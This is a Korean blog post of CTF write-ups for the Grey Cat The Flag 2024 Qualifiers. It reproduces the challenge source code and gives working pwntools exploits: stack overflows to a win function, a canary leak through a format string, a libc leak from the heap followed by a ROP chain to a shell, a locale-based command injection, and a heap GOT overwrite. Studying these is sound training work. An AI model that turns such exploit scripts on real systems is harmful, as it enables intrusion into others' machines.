ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

Grey Cat The Flag 2024 Qualifiers
CTF

Grey Cat The Flag 2024 Qualifiers

2024. 4. 22. 18:29

아 포너블 하나만 더 풀 수 있었더라면..

 


 

[solved]

 

[web/GreyCTF Survey]

더보기
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000

const config = require("./config.json");

app.use(bodyParser.json())

app.use("/", express.static("static"))

let score = -0.42069;

app.get("/status", async (req, res)=>{
    return res.status(200).json({
        "error": false,
        "data": score
    });
})

app.post('/vote', async (req, res) => {
    const {vote} = req.body;
    console.log('vote: '+vote);
    if(typeof vote != 'number') {
        return res.status(400).json({
            "error": true,
            "msg":"Vote must be a number"
        });
    }
    if(vote < 1 && vote > -1) {
        console.log('befor add : '+score);
        console.log('vote: '+parseInt(vote));
        score += parseInt(vote);
        console.log('after add: '+score);
        if(score > 1) {
            score = -0.42069;
            return res.status(200).json({
                "error": false,
                "msg": config.flag,
            });
        }
        return res.status(200).json({
            "error": false,
            "data": score,
            "msg": "Vote submitted successfully"
        });
    } else {
        return res.status(400).json({
            "error": true,
            "msg":"Invalid vote"
        });
    }
})

app.listen(port, () => {
    console.log(`Survey listening on port ${port}`)
})

 

parseInt로 float을 int로 변환하여 score를 계산한다.

float의 값이 -1~1 사이의 값이어야 한다.

 

https://ko.javascript.info/number

 여기 내용을 읽어보면 숫자를 표현할 때 e를 사용하는 방식이 존재한다.

버프스위트로 vote 값을 조절해주면 된다.

 

[web/Baby Web]

더보기
import os
from flask import Flask, render_template, session

app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")


@app.route("/", methods=["GET"])
def index():
    # Set session if not found
    if "is_admin" not in session:
        session["is_admin"] = False
    return render_template("index.html")


@app.route("/admin")
def admin():
    # Check if the user is admin through cookies
    return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))

### Some other hidden code ###


if __name__ == "__main__":
    app.run(debug=True)

 

/에서 세션을 만들어준다.

/admin으로 가보면 다음과 같은데

 

소스 코드를 보면 버튼이 숨겨져 있다.

 

hidden을 지워주면 버튼이 나타나고 클릭하면 플래그를 보여준다.

 

[pwn/Baby Goods]

더보기
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char username[0x20];

int menu(char name[0x20]);

int sub_15210123() {
    execve("/bin/sh", 0, 0);
}

int buildpram() {
    char buf[0x10];
    char size[4];
    int num;

    printf("\nChoose the size of the pram (1-5): ");
    fgets(size,4,stdin);
    size[strcspn(size, "\r\n")] = '\0';
    num = atoi(size);
    if (1 > num || 5 < num) {
        printf("\nInvalid size!\n");
        return 0;
    }

    printf("\nYour pram has been created! Give it a name: ");
    //buffer overflow! user can pop shell directly from here
    gets(buf);
    printf("\nNew pram %s of size %s has been created!\n", buf, size);
    return 0;
}

int exitshop() {
    puts("\nThank you for visiting babygoods!\n");
    exit(0);
}

int menu(char name[0x20]) {
    char input[4];
    do {
        printf("\nHello %s!\n", name);
        printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
        printf("1: Build new pram\n");
        printf("2: Exit\n");
        printf("Input: ");
        fgets(input, 4, stdin);
        input[strcspn(input, "\r\n")] = '\0';
        switch (atoi(input))
        {
        case 1:
            buildpram();
            break;
        default:
            printf("\nInvalid input!\n==========\n");
            menu(name);
        }
    } while (atoi(input) != 2);
    exitshop();
}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);

    printf("Enter your name: ");
    fgets(username,0x20,stdin);
    username[strcspn(username, "\r\n")] = '\0';
    menu(username);
    return 0;
}

 

canary, pie 안 걸려있는 단순한 bof

from pwn import *

# p = process('./babygoods')
p = remote('challs.nusgreyhats.org', 32345)
win = 0x401236

p.sendlineafter(b'name:',b'ssongk')
p.sendlineafter(b'Input:',b'1')
p.sendlineafter(b'(1-5):',b'1')

pay = b'a'*0x28 + p64(win)
p.sendlineafter(b'name:',pay)

p.interactive()

 

[pwn/The Motorola]

더보기
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>


char* pin;

// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
	int i = 0;
	while (1) {
		if (!msg[i])
			return;
		putchar(msg[i]);
		usleep(5000);
		i += 1;
	}
}

void view_message() {
	int fd = open("./flag.txt", O_RDONLY);
	char* flag = calloc(0x50, sizeof(char));
	read(fd , flag, 0x50);
	close(fd);
	slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
	printf("\n%s\n", flag);
	exit(0);
}

void retrieve_pin(){
	FILE* f = fopen("./pin", "r");
	pin = malloc(0x40);
	memset(pin, 0, 0x40);
	fread(pin, 0x30, 0x1, f);
	fclose(f);
}

void login() {
	char attempt[0x30];
	int count = 5;

	for (int i = 0; i < 5; i++) {
		memset(attempt, 0, 0x30);
		printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
		printf("PIN: ");
		scanf("%s", attempt);
		if (!strcmp(attempt, pin)) {
			view_message();
		}
	}
	slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}

void banner() {

	slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");

    puts("                         .--.");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("        _.-----------._  |  | ");
	puts("     .-'      __       `-.  | ");
	puts("   .'       .'  `.        `.| ");
	puts("  ;         :    :          ; ");
	puts("  |         `.__.'          | ");
	puts("  |   ___                   | ");
	puts("  |  (_M_) M O T O R A L A  | ");
	puts("  | .---------------------. | ");
	puts("  | |                     | | ");
	puts("  | |      \e[0;91mYOU HAVE\e[0m       | | ");
	puts("  | |  \e[0;91m1 UNREAD MESSAGE.\e[0m  | | ");
	puts("  | |                     | | ");
	puts("  | |   \e[0;91mUNLOCK TO VIEW.\e[0m   | | ");
	puts("  | |                     | | ");
	puts("  | `---------------------' | ");
	puts("  |                         | ");
	puts("  |                __       | ");
	puts("  |  ________  .-~~__~~-.   | ");
	puts("  | |___C___/ /  .'  `.  \\  | ");
	puts("  |  ______  ;   : OK :   ; | ");
	puts("  | |__A___| |  _`.__.'_  | | ");
	puts("  |  _______ ; \\< |  | >/ ; | ");
	puts("  | [_=]						\n");

	slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}


void init() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	retrieve_pin();
	printf("\e[2J\e[H");
}

int main() {
	init();
	banner();
	login();
}

 

pie 안 걸려있는 단순한 bof

from pwn import *

# p = process('./chall')
p = remote('challs.nusgreyhats.org', 30211)

win = 0x000000000040139f

for _ in range(4):
    p.sendlineafter(b'PIN:',b'test')
pay = b'a'*0x40+ p64(0x404800) + p64(win)
p.sendlineafter(b'PIN:',pay)

p.interactive()

 

[pwn/Slingring Factory]

더보기

 

main에서 fsb가 터진다.

이걸로 카나리 릭을 수행한다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[6]; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("What is your name?");
  fgets(s, 6, stdin);
  printf("Hello, ");
  printf(s);
  putchar('\n');
  fflush(stdin);
  menu();
}

 

1~4까지 메뉴를 고를 수 있다.

void __noreturn menu()
{
  int v0; // eax
  char s[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  while ( 1 )
  {
    cls();
    puts("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
    puts("Welcome to my secret sling ring factory.");
    puts("What do you want to do today?\n");
    puts("1. Show Forged Rings");
    puts("2. Forge Sling Ring");
    puts("3. Discard Sling Ring");
    puts("4. Use Sling Ring");
    printf(">> ");
    fgets(s, 4, stdin);
    fflush(stdin);
    putchar('\n');
    v0 = atoi(s);
    if ( v0 == 4 )
    {
      use_slingring();
      exit(0);
    }
    if ( v0 > 4 )
    {
LABEL_12:
      puts("Invalid input!");
      puts("Press ENTER to go back...");
      getchar();
    }
    else
    {
      switch ( v0 )
      {
        case 3:
          discard_slingring();
          break;
        case 1:
          show_slingrings();
          break;
        case 2:
          forge_slingring();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

 

1번 메뉴로 반지를 볼 수 있다.

int show_slingrings()
{
  int i; // [rsp+Ch] [rbp-4h]

  announcement();
  puts("[Slot]        | [Amt] | [Destination]");
  for ( i = 0; i <= 9; ++i )
  {
    if ( *((_QWORD *)&rings + i) )
      printf(
        "Ring Slot #%d  | [%d]   | %s\n",
        (unsigned int)i,
        *(unsigned int *)(*((_QWORD *)&rings + i) + 0x80LL),
        *((const char **)&rings + i));
    else
      printf("Ring Slot #%d  | EMPTY\n", (unsigned int)i);
  }
  cls();
  puts("Press ENTER to return.");
  return getchar();
}

 

 2번 메뉴로 반지를 생성할 수 있다.

unsigned __int64 forge_slingring()
{
  int idx; // [rsp+8h] [rbp-118h]
  int ring_count; // [rsp+Ch] [rbp-114h]
  char s[128]; // [rsp+10h] [rbp-110h] BYREF
  char v4; // [rsp+90h] [rbp-90h]
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("Welcome to the ring forge!");
  puts("Which slot do you want to store it in? (0-9)\nThis will override any existing rings!");
  fgets(s, 4, stdin);
  idx = atoi(s);
  fflush(stdin);
  if ( (unsigned int)idx >= 0xA )
    goto LABEL_2;
  puts("Enter destination location:");
  fgets(s, 0x80, stdin);
  v4 = s[0];
  fflush(stdin);
  puts("Enter amount of rings you want to forge (1-9):");
  fgets(s, 4, stdin);
  ring_count = atoi(s);
  fflush(stdin);
  if ( ring_count > 9 )
    goto LABEL_2;
  if ( ring_count > 0 )
  {
    *((_QWORD *)&rings + idx) = malloc(0x84uLL);// 0x90
    *(_DWORD *)(*((_QWORD *)&rings + idx) + 0x80LL) = ring_count;
    **((_BYTE **)&rings + idx) = v4;
    announcement();
    puts("New ring forged!");
    printf(
      "%d rings going to location [%s] forged and placed in slot %d.\n",
      *(unsigned int *)(*((_QWORD *)&rings + idx) + 0x80LL),
      *((const char **)&rings + idx),
      (unsigned int)idx);
    cls();
    puts("Press ENTER to return.");
    getchar();
  }
  else
  {
LABEL_2:
    errorcl();
    puts("Invalid amount!");
    puts("Press ENTER to go back...");
    getchar();
  }
  return v5 - __readfsqword(0x28u);
}

 

3번 메뉴로 반지를 버릴 수 있다.

unsigned __int64 discard_slingring()
{
  int v1; // [rsp+0h] [rbp-10h]
  char s[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which ring would you like to discard?");
  fgets(s, 4, stdin);
  fflush(stdin);
  v1 = atoi(s);
  if ( (unsigned int)v1 < 0xA )
  {
    announcement();
    if ( *((_QWORD *)&rings + v1) )
    {
      free(*((void **)&rings + v1));
      printf("Ring Slot #%d has been discarded.\n", (unsigned int)v1);
      cls();
    }
    else
    {
      puts("The ring slot is already empty!");
    }
  }
  else
  {
    errorcl();
    puts("Invalid index!");
    puts("Press ENTER to go back...");
    getchar();
  }
  return v3 - __readfsqword(0x28u);
}

 

4번 메뉴로 반지를 사용할 수 있다.

fgets에서 bof가 터진다.

int use_slingring()
{
  char s[4]; // [rsp+Ch] [rbp-44h] BYREF
  char v2[56]; // [rsp+10h] [rbp-40h] BYREF
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Which ring would you like to use (id): ");
  fgets(s, 4, stdin);
  fflush(stdin);
  atoi(s);
  printf("\nPlease enter the spell: ");
  fgets(v2, 0x100, stdin);
  puts("\nThank you for visiting our factory! We will now transport you.");
  return puts("\nTransporting...");
}

 

canart, libc 릭을 하면 bof로 rop 트리거할 수 있다.

청크 크기가 0x90이어서 fastbin 크기를 벗어난다.

그래서 tcache가 가득 채워지면 unsorted bin에 등록된다.

fd, bk에 메인 아레나 주소가 저장될테니 그걸로 libc 릭을 수행하면 된다.

from pwn import *

context.log_level = 'debug'

# p = process('./slingring_factory')
p = remote('challs.nusgreyhats.org', 35678)

def show_slingrings():
    p.sendlineafter(b'>>',b'1')

def forge_slingring(idx,location,count):
    p.sendlineafter(b'>>',b'2')
    p.sendlineafter(b'rings!',str(idx).encode())
    p.sendlineafter(b'location:',location)
    p.sendlineafter(b'(1-9):',str(count).encode())
    p.sendafter(b'return',b'\n')
    
def discard_slingring(idx):
    p.sendlineafter(b'>>',b'3')
    p.sendlineafter(b'discard?',str(idx).encode())

def use_slingring(pay):
    p.sendlineafter(b'>>',b'4')
    p.sendlineafter(b'(id):',b'4')
    p.sendlineafter(b'spell:',pay)

p.sendlineafter(b'name?',b'%7$p')
p.recvuntil(b'Hello, ')
canary = int(p.recvline()[:-1],16)
print('[canary]',hex(canary))

for i in range(10):
    forge_slingring(i,b'a',5)

for i in range(8):
    discard_slingring(i)

show_slingrings()
for _ in range(9):
    p.recvline()
p.recvuntil(b'| ')
p.recvuntil(b'| ')
libc = u64(p.recvline()[:-1]+b'\x00'*2) - 0x21ace0
print('[libc]',hex(libc))
p.sendafter(b'return',b'\n')

system = libc + 0x50d70
binsh = libc + 0x1d8678
pop_rdi = libc + 0x2a3e5
ret = libc + 0x29139

pay = b'a'*0x38 + p64(canary) + b'a'*8
pay += p64(ret)
pay += p64(pop_rdi) + p64(binsh)
pay += p64(system)
use_slingring(pay)

p.interactive()

 


 

[unsolved]

 

[pwn/Baby fmtstr]

더보기

풀고 싶었는데 잘 안됐던 문제

#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>



void setup(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}


char output[0x20];
char command[0x20];


void goodbye(){
    puts("Adiós!");
    system(command);
}



void print_time(){
    time_t now;
    struct tm *time_struct;
    char input[0x20];
    char buf[0x30];

    time(&now);
    time_struct = localtime(&now);

    printf("The time now is %d.\nEnter format specifier: ", now);
    fgets(input, 0x20, stdin);

    for(int i = 0; i < strlen(input)-1; i++){
        if(i % 2 == 0 && input[i] != '%'){
            puts("Only format specifiers allowed!");
            exit(0);
        }
    }

    strftime(buf, 0x30, input, time_struct);
    // remove newline at the end
    buf[strlen(buf)-1] = '\0';

    memcpy(output, buf, strlen(buf));
    printf("Formatted: %s\n", output);
}


void set_locale(){
    char input[0x20];
    printf("Enter new locale: ");
    fgets(input, 0x20, stdin);
    char *result = setlocale(LC_TIME, input);
    if(result == NULL){
        puts("Failed to set locale :(");
        puts("Run locale -a for a list of valid locales.");
    }else{
        puts("Locale changed successfully!");
    }
}

int main(){
    int choice = 0;

    setup();

    strcpy(command, "ls");

    while (1){
        puts("Welcome to international time converter!");
        puts("Menu:");
        puts("1. Print time");
        puts("2. Change language");
        puts("3. Exit");
        printf("> ");

        scanf("%d", &choice);
        getchar();

        if(choice == 1){
            print_time();
        }else if(choice == 2){
            set_locale();
        }else{
            goodbye();
        }
        puts("");
    }
}

 

locale 변경하는 거 로컬에서 시도 했었는데 가능한 곳이 아무곳도 없었는데 리모트에선 아니였나보다

 

예를 들어, 남아프리카(st_ZA.utf8)에선 Dec(December)가 Tsh가 된다고 한다.

이렇게 sh가 나오는 형식 지정자를 찾아서 bof로 command에 집어넣어야 한다고 한다.

 

요렇게 전수조사 할 수도 있다고 한다.

(지금은 12월이 아니므로 해야할 것 같다..)

import locale
import os
import datetime

locales = os.popen("locale -a").read().split("\n")
locales = [x for x in locales if '.' in x]

now = datetime.datetime.now()
possible = ["%a", "%A", "%b", "%B", "%p"]

target = b"sh"
for loc in locales:
    locale.setlocale(locale.LC_TIME, loc)
    for fmtstr in possible:
        result = now.strftime(fmtstr).encode()
        if len(result) == 0:
            continue
        if result[-2:] == target:
            print(loc, fmtstr)
            exit(0)

print("Not found :(")

 

# from ctflib.pwn import *
from pwn import *

e = ELF("distribution/fmtstr")
context.binary = e


def setup():
    p = remote("localhost",31234)
    return p


def print_time(p, enter_format_specifier: bytes):
    assert all(
        x == ord("%") for i, x in enumerate(enter_format_specifier) if i % 2 == 0
    ), "Invalid format string"
    p.sendafter(b">", b"1\n")
    p.sendlineafter(b"Enter format specifier:", enter_format_specifier)
    p.recvuntil("Formatted: ")
    return p.recvline(keepends=False)


def set_locale(p, enter_new_locale: bytes):
    p.sendafter(b">", b"2\n")
    p.sendlineafter(b"Enter new locale:", enter_new_locale)


if __name__ == "__main__":
    p = setup()

    buf_size = 0x20
    # %G will be the year (4 characters)
    locale = b"xh_ZA.utf8"
    format = b"%b"
    out = b"Tsh"

    size = buf_size - len(out) + 2

    years = size // 4
    set_locale(p, locale)
    pl = b"%G" * years + b"%%" * (size - years * 4) + format
    print(pl)
    print_time(p, pl)
    p.sendline("3")
    p.recvuntil("!")
    p.recvuntil("!")
    p.sendline("cat flag.txt")

    p.interactive()

 

[pwn/The Motorola 2]

더보기

web assembly ㄷㄷ..

라업은 다음과 같다.

from pwn import *
import os

# p = process(["wasmtime", "--dir", "./", "./chall"])
p = remote("localhost", 30212)

# (gdb) dump memory out.bin 0x7ffe779fb2d1 0x7ffe779fb7e0
lol = open("./out.bin", "rb").read().replace(b"\n", b"\x00")

# simple buffer overflow, but not to overwrite the global dlmalloc structures
# https://github.com/WebAssembly/wasi-libc/issues/233
# https://github.com/bytecodealliance/wasm-micro-runtime/issues/539#issuecomment-784229600
p.sendlineafter(b"PIN:", b"\x00" + lol)

p.interactive()

 

wasmtime 이라는 걸로 실행시킬 수 있나보다.

(설치는 이렇게)

https://wasmtime.dev/

curl https://wasmtime.dev/install.sh -sSf | bash

 

그 다음은 잘 모르겠다..

왜 저기를 덤프 뜨는 거지..?

 

일단 대충 따라해보니까 플래그는 나왔다.

wasm의 선형 메모리 머시기는 나중에 한 번 공부해봐야겠다..

from pwn import *
import os

# p = process(["wasmtime", "--dir", "./", "./chall"])
p = remote("localhost", 5000)

# (gdb) dump memory out.bin 0x7f94600122d1 0x7f94600127e0
lol = open("./out.bin", "rb").read().replace(b"\n", b"\x00")

# simple buffer overflow, but not to overwrite the global dlmalloc structures
# https://github.com/WebAssembly/wasi-libc/issues/233
# https://github.com/bytecodealliance/wasm-micro-runtime/issues/539#issuecomment-784229600
p.sendlineafter(b"PIN:", b"\x00" + lol)

p.interactive()

 

[pwn/heapheapheap]

더보기

 

일단 라업만..

 

from pwn import *


context.binary = e = ELF("./service/challenge")

p = remote("localhost",33456)#process()

def add(p, s, l, v):
    p.sendlineafter(b"Your choice: ", b"1")
    p.sendlineafter(b"Enter length", str(l).encode())
    p.sendlineafter(b"Enter string: ", s)
    p.sendlineafter(b"Enter value: ", str(v).encode())

def edit(p, s, l, v):
    p.sendlineafter(b"Your choice: ", b"2")
    p.sendlineafter(b"Enter length", str(l).encode())
    p.sendlineafter(b"Enter string: ", s)
    p.sendlineafter(b"Enter value: ", str(v).encode())

def delete(p):
    p.sendlineafter(b"Your choice: ", b"3")
    p.recvuntil(b"The largest element is '")
    string = p.recvuntil(b"'")[:-1]
    p.recvuntil(b"with a value of ")
    return string, int(p.recvline())

if __name__ == '__main__':
    

    # Massive amounts of heap manipulation
    add(p, b"aaa", 1000, 1337) # Top chunk
    add(p, b"bbb", 40, 1336) # Chunk 2
    edit(p, b"aaa", 400, 1335)
    edit(p, b"bbb", 560, 1334)
    edit(p, b"aaa", 384, 1333)

    add(p, b"ccc", 10, 1300)

    edit(p, b"bbb", 10, 1330)

    p.recvuntil(b"The heap:")
    p.recvline()
    p.recvline()
    leak = int(p.recvline())

    base = leak - 0x4b0
    print(hex(base))
    e.address = base - e.sym.mem

    
    pl = b"a"*(1160-724)
    # reconstruct overwritten chunk
    pl +=  p64(1330) + p64(0) + p64(0) + p64(base + 0x220) + p64(0x2a2)
    # Fake chunk header
    # Try to keep most field constant. Heap will rebalance this chunk to the top soon (hopefully)
    pl += b"\xff"*8 + p64(base + 0x208) + p64(0) + p64(base + 0x6bc) + p64(e.got.exit)

    edit(p, pl, 1000, 1337)

    edit(p, b"aaa", 10, base + 0x4b0)

    edit(p, p64(e.sym.backdoor), 8, 1337)
    
    p.interactive()

 


 

https://github.com/NUSGreyhats/greyctf24-challs-public/tree/main/quals

 

greyctf24-challs-public/quals at main · NUSGreyhats/greyctf24-challs-public

Contribute to NUSGreyhats/greyctf24-challs-public development by creating an account on GitHub.

github.com

 

'CTF' 카테고리의 다른 글

TBTL CTF 2024 (Pwn)  (0) 2024.05.18
San Diego CTF 2024 (Pwn)  (0) 2024.05.15
AmateursCTF 2024  (1) 2024.04.10
[QWB CTF 2018] core (with write-up)  (1) 2024.04.04
ACSC 2024 Quals  (0) 2024.04.01
    'CTF' 카테고리의 다른 글
    • TBTL CTF 2024 (Pwn)
    • San Diego CTF 2024 (Pwn)
    • AmateursCTF 2024
    • [QWB CTF 2018] core (with write-up)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바